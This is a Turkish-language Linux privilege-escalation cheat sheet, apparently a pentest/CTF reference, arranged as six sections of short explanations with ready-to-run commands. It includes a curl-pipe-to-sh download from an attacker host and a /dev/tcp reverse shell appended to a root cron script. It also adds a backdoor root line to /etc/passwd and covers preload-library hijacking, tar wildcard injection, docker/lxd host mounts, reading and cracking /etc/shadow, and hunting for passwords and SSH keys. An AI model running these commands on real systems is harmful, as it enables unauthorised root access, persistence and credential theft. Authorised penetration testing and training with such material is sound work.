1 · Enumeration
otomatik + manuelİlk shell’i aldın. Önce otomatik tara, sonra hızlı manuel kontroller.
linPEAS çalıştır
Attacker’da: python3 -m http.server 80. Sonra hedefte indir & çalıştır.
curl http://<LHOST>/linpeas.sh | sh
Hızlı temel kontroller
Kim, hangi haklar, çekirdek, dağıtım — 10 saniyelik ilk bakış.
id; sudo -l; uname -a; cat /etc/os-release; hostname
SUID binary’leri bul
setuid bitli dosyalar — GTFOBins ile root olabilir.
find / -perm -4000 -type f 2>/dev/null
Capabilities
cap_setuid/cap_dac gibi tehlikeli yetenekler.
getcap -r / 2>/dev/null
Cron & zamanlanmış işler
Root’un çalıştırdığı yazılabilir script’leri ara.
cat /etc/crontab; ls -la /etc/cron*; crontab -l 2>/dev/null
pspy — canlı process/cron izle
Root cron/process’lerini root olmadan gözlemle (gizli işleri yakala).
./pspy64 -pf -i 1000
2 · Sudo / GTFOBins
sudo -l çıktısı`sudo -l` bir binary’ye izin veriyorsa GTFOBins’te “sudo” bölümüne bak.
Sudo haklarını listele
NOPASSWD veya izinli binary’ler burada görünür.
sudo -l
GTFOBins escape (örnek: find)
İzinli binary’yi GTFOBins yöntemiyle kabuğa çevir.
sudo find . -exec /bin/sh \; -quit
LD_PRELOAD (env_keep)
sudo -l’de LD_PRELOAD korunuyorsa: kötü .so derle, yükle. (shell.c: _init() setuid(0)+system("/bin/bash"))
sudo LD_PRELOAD=/tmp/shell.so <BINARY>
Sudo sürüm CVE kontrolü
Baron Samedit (CVE-2021-3156) < 1.9.5p2. Sürümü kontrol et.
sudo -V | head -1 # savunmasızsa exploit: sudoedit -s /
NOPASSWD: ALL
sudo -l “(ALL) ALL” gösteriyorsa doğrudan root.
sudo su - # veya: sudo /bin/bash
sudo env / PATH (SETENV)
sudo bir script çağırıyor ve SETENV varsa PATH’i ele geçir.
sudo PATH=/tmp:$PATH <BINARY>
3 · SUID / SGID / Capabilities
root-owned binary’lerSUID binary veya cap_setuid capability bulduysan sömür.
SUID GTFOBins (örnek)
SUID binary’yi -p ile ayrıcalığı koruyarak kabuğa çevir (GTFOBins “SUID”).
/usr/bin/find . -exec /bin/sh -p \; -quit
cap_setuid ile python
getcap python’da cap_setuid gösteriyorsa doğrudan root.
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'GTFOBins SUID hızlı referans
Yaygın SUID binary’lerin -p ile shell yöntemleri (gtfobins.github.io “SUID”).
less: !/bin/sh | awk: awk "BEGIN{system(\"/bin/sh -p\")}" | tar: tar -cf x x --checkpoint=1 --checkpoint-action=exec=/bin/sh | env: env /bin/sh -pSUID shared library injection
SUID binary yazılabilir/eksik bir .so yüklüyorsa (strace ile bak) kötü kütüphane koy.
strace <BINARY> 2>&1 | grep -iE "open|access|No such file" | grep "\.so"
Özel SUID uygulaması exploit
Standart olmayan bir SUID binary varsa bilinen exploit ara.
searchsploit <BINARY>
4 · Cron / PATH / Yazılabilir Dosyalar
writable vektörlerRoot’un çalıştırdığı yazılabilir script, PATH hijack veya yazılabilir sistem dosyası.
Yazılabilir cron script’ine payload
Root cron bir yazılabilir script çağırıyorsa reverse shell ekle.
echo 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' >> /path/to/writable_script.sh
PATH hijack (relative binary)
Cron/SUID relative bir komut çağırıyorsa yazılabilir PATH dizinine sahte binary koy.
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /tmp/<NAME>; chmod +x /tmp/<NAME>; export PATH=/tmp:$PATH
Yazılabilir /etc/passwd
/etc/passwd yazılabiliyorsa parolalı root satırı ekle.
openssl passwd -1 -salt hax pass123 # sonra: echo 'r00t:<HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd
Wildcard injection (tar/rsync cron)
Root cron “tar *” gibi çalışıyorsa yazılabilir dizinde checkpoint dosyaları bırak.
echo "" > "--checkpoint=1"; echo "" > "--checkpoint-action=exec=sh runme.sh"; printf "chmod +s /bin/bash" > runme.sh
/etc/ld.so.preload yazılabilir
Yazılabiliyorsa kötü .so’yu global preload et → her root süreci onu yükler.
echo /tmp/shell.so > /etc/ld.so.preload
Yazılabilir systemd servisi/timer
Root çalıştıran .service/.timer üzerinde yazma hakkı varsa ExecStart’ı değiştir.
find /etc/systemd/ -writable 2>/dev/null; systemctl list-timers
5 · Kernel / Servis / Grup
exploit & yanlış yapılandırmaEnum/sudo/SUID sonuç vermezse çekirdek, NFS ve tehlikeli gruplara bak.
Kernel exploit ara
Çekirdek sürümüne göre bilinen LPE exploit.
uname -r; searchsploit linux kernel $(uname -r | cut -d- -f1)
PwnKit (pkexec CVE-2021-4034)
Neredeyse tüm sistemlerde çalışan pkexec LPE.
./PwnKit # veya: searchsploit pkexec
NFS no_root_squash
Attacker’da export’u mount et, SUID root binary planla.
showmount -e <TARGET_IP> # attacker: mount -o rw <TARGET_IP>:/share /mnt; cp /bin/bash /mnt; chmod +s /mnt/bash
docker / lxd grubu
Kullanıcı docker/lxd grubundaysa doğrudan root.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh # id ile grupları kontrol et
DirtyPipe (CVE-2022-0847)
Kernel 5.8–5.16.11: rastgele dosya üzerine yazma → root.
uname -r # 5.8–5.16.11 ise: searchsploit dirtypipe
disk grubu → shadow oku
disk grubundaysan debugfs ile ham diskten /etc/shadow oku.
debugfs /dev/sda1 -R "cat /etc/shadow"
lxd grubu → privileged container
lxd grubundaysan host FS’i mount eden privileged container başlat.
lxc init alpine r00t -c security.privileged=true; lxc config device add r00t host disk source=/ path=/mnt/root; lxc start r00t; lxc exec r00t /bin/sh
6 · Credential Avı
parola & anahtarYanal hareket / root için düz metin cred, hash ve SSH anahtarı ara.
Dosyalarda parola
Web kökü, config ve home’da düz metin parola.
grep -riE "password|passwd|secret|api[_-]?key" /var/www /etc /home /opt 2>/dev/null
History & config dosyaları
Komut geçmişi ve uygulama config’leri.
cat ~/.bash_history; find / -name "*.env" -o -name "wp-config.php" -o -name "config.php" 2>/dev/null
SSH özel anahtarları
Diğer kullanıcı/host için id_rsa.
find / -name "id_rsa" -o -name "authorized_keys" 2>/dev/null
shadow → john
/etc/shadow okunabiliyorsa unshadow + kır.
unshadow /etc/passwd /etc/shadow > crack.txt; john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
DB history & config
MySQL/PSQL geçmişi ve .cnf dosyalarında parola.
cat ~/.mysql_history 2>/dev/null; find / -name "*.cnf" 2>/dev/null | xargs grep -iH pass 2>/dev/null
Diğer kullanıcı & parola tekrarı
Bulduğun parolayı su ile diğer kullanıcılarda dene (parola tekrarı yaygın).
cat /etc/passwd | grep -E "sh$"; su <USERNAME> # bulunan parolayı dene